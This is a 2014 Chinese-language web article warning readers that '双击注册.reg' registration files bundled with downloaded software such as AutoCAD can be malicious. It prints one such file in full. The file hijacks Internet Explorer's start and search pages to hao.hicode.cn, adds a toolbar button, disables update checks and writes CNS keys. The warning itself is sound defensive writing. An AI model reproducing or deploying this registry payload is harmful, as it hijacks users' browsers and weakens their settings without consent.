News新闻

业界新闻动态、技术前沿
Who are we?

您的位置:首页      电脑知识      请不要随意点击下载软件里的“双击注册.reg”

请不要随意点击下载软件里的“双击注册.reg”

发布日期:2014-01-16 10:52:00 1145

长期以来,我们习惯从网上下载软件,然后用电脑杀毒,测试没有病毒木马就以为可以随意点击,一些需要注册的软件文件夹下会有一个“双击注册.reg”,或"注册,reg"等文件,千万注意,在双击之前,请仔细看看是不是破坏你电脑注册表的东西,如:

下载AUTOCAD后文件夹下的一个“双击注册.reg”文件,点编辑后发现其内容是这样的:

Windows Registry Editor Version 5.00
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions\{6096E38F-5AC1-4391-8EC4-75DFA92FB32F}]
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
"ButtonText"="网址之家"
"Exec"="http://hao.hicode.cn/"
 
 
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"NoUpdateCheck"=dword:00000001
"NoJITSetup"=dword:00000001
"Disable Script Debugger"="yes"
"Show_ChannelBand"="No"
"Anchor Underline"="yes"
"Cache_Update_Frequency"="Once_Per_Session"
"Display Inline Images"="yes"
"Do404Search"=hex:01,00,00,00
"Save_Session_History_On_Exit"="no"
"Show_FullURL"="no"
"Show_StatusBar"="yes"
"Show_ToolBar"="yes"
"Show_URLinStatusBar"="yes"
"Show_URLToolBar"="yes"
"Start Page"="http://hao.hicode.cn/"
"Use_DlgBox_Colors"="yes"
"Search Page"="http://hao.hicode.cn/"   //此处修改默认搜索引擎
"FullScreen"="no"
"Enable AutoImageResize"="yes"
"CNSMenu"=dword:de809d5c
"CNSHint"=dword:00000001
"CNSReset"=dword:de809d5c
"CNSEnable"=dword:00000001
"CNSList"=dword:00000001
"CNSAutoUpdate"=dword:00000001
"Use Search Asst"="no"
"Search Bar"="http://hao.hicode.cn/"
"Enable Browser Extensions"="yes"
"NotifyDownloadComplete"="yes"
"Use FormSuggest"="yes"
"ShowedCheckBrowser"="Yes"
"Check_Associations"="Yes"
"Error Dlg Displayed On Every Error"="no"
"AddToFavoritesExpanded"=dword:00000001
 

在双击注册后,修改你的网页默认页,在注册表中多处生成最为邪恶的CnsMinKP键值,噩梦开始了!